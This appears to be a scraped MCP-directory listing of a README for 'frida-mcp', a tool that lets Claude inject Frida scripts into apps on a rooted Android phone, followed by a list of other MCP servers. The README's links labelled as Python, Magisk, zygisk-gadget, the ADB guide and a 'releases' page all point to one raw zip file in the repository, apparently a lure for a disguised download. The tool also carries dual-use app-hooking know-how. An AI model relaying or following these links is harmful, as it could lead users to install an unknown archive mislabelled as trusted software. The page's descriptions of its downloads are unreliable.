frida-mcp

frida-mcp

Automates Android app analysis using Frida via AI commands, connecting a rooted Android phone to a computer and running dynamic analysis scripts without manual command execution.

Category
访问服务器

README

🛠️ frida-mcp - Android Analysis Made Simple

Download


📋 What is frida-mcp?

frida-mcp helps you analyze Android apps by automating Frida using AI commands. It connects your Android phone to your computer, runs analysis scripts automatically, and gives you results without needing to run commands yourself.

This tool works with rooted Android phones running Magisk and the zygisk-gadget module. It uses a server called MCP (Model Context Protocol) that talks to Frida and controls it to inspect apps dynamically.


🖥️ System Requirements

Before starting, check the following:

  • Windows 10 or later.
  • Python 3.10 or higher installed on your PC.
  • An Android phone with root access.
  • Magisk installed on your Android phone.
  • The zygisk-gadget Magisk module installed and set to use port 14725.
  • ADB (Android Debug Bridge) installed and able to connect your phone to your PC.

If you don’t have Python or ADB installed, you will need to install them first. Both are free and easy to get.


🚀 How to Download frida-mcp

Click the large button below to visit the GitHub page where you can download frida-mcp and find setup files.

Download frida-mcp

On the GitHub page:

  1. Look for the “Releases” section to find the latest version.
  2. Download the package or installer suitable for Windows.
  3. Follow instructions there to install the software.

⚙️ Installation and Setup on Windows

After downloading, follow these steps to install and configure frida-mcp on your PC:

  1. Install Python packages

    Open your Command Prompt (search for "cmd" in Windows Start menu).

    Navigate to the folder where you downloaded frida-mcp, or if you have the source code, open Command Prompt there.

    Run this command to install frida-mcp and its dependencies:

    pip install .
    

    This installs the main program and tools you will need.

  2. Run Setup

    After installation completes, run this command to perform automatic setup:

    frida-mcp-setup
    

    This command will register frida-mcp with MCP and install necessary “Skills” for it to work smoothly.

  3. Manual Configuration (optional)

    If automatic setup fails, you can edit the file ~/.claude.json manually:

    {
      "mcpServers": {
        "frida-agent": {
          "command": "frida-mcp"
        }
      }
    }
    

    Save the file and retry running frida-mcp.

  4. Connect your phone

    Make sure your Android phone is connected via USB with USB debugging enabled.

    Confirm that adb can detect your device by running:

    adb devices
    

    Your device should show up on the list.


🔌 Connecting frida-mcp to your Android Phone

frida-mcp uses ADB to talk to the zygisk-gadget module on your phone.

To establish this connection:

  • Run the command:

    frida-mcp connect
    
  • This will forward ports and allow communication between your PC and phone.

  • Check the connection by listing third-party apps on your device:

    frida-mcp list_apps
    
  • If your apps show up, the connection works.


📂 Main frida-mcp Commands

Here are the main commands you will use when running frida-mcp:

Command What it Does
connect Opens ADB port forwarding to connect to zygisk-gadget.
list_apps Shows third-party apps installed on your device.
execute Injects a Frida script into the running app. You can write the script directly or provide a file path.
spawn_and_inject Stops an app, restarts it, and injects a script in one step. Useful when hooking app startup.
get_messages Shows output from the injected scripts. Supports paging and file backup.
logcat Displays Android system logs to help find errors or crashes.
launch_app Starts an app you specify.
kill_app Forces an app to stop.
reconnect Restarts the connection if frida-mcp crashes.
detach Disconnects the current script injection session.

📥 Download frida-mcp Again or Update

If you need to download frida-mcp again or get the latest version:

  • Visit this page:
    https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip

  • Go to the "Releases" tab.

  • Download the latest files.

  • Replace old files with new ones if you have a manual installation.

Then repeat the installation commands as above to update your setup.


🔧 Additional Tips

  • Your phone must remain connected and unlocked during use.
  • If you encounter errors with connection, rerun frida-mcp reconnect or check ADB connection.
  • Use frida-mcp logcat to monitor crashes or issues in real time.
  • If an app does not respond as expected, try spawn_and_inject to restart and inject fresh.
  • Keep Python and ADB updated for best compatibility.

📖 Resources

  • Magisk Root: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
  • zygisk-gadget Module: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
  • Python: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
  • ADB Setup Guide: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip

📂 How frida-mcp Works

The flow looks like this:

AI (Claude) → MCP Server → Frida CLI → zygisk-gadget (phone) → Results returned

This means AI sends commands to MCP, which controls Frida. Frida works with the gadget installed on the phone to analyze apps and send data back to you.


Download

推荐服务器

Baidu Map

Baidu Map

百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。

官方
精选
JavaScript
Playwright MCP Server

Playwright MCP Server

一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。

官方
精选
TypeScript
Magic Component Platform (MCP)

Magic Component Platform (MCP)

一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。

官方
精选
本地
TypeScript
Audiense Insights MCP Server

Audiense Insights MCP Server

通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。

官方
精选
本地
TypeScript
VeyraX

VeyraX

一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。

官方
精选
本地
graphlit-mcp-server

graphlit-mcp-server

模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。

官方
精选
TypeScript
Kagi MCP Server

Kagi MCP Server

一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。

官方
精选
Python
e2b-mcp-server

e2b-mcp-server

使用 MCP 通过 e2b 运行代码。

官方
精选
Neon MCP Server

Neon MCP Server

用于与 Neon 管理 API 和数据库交互的 MCP 服务器

官方
精选
Exa MCP Server

Exa MCP Server

模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。

官方
精选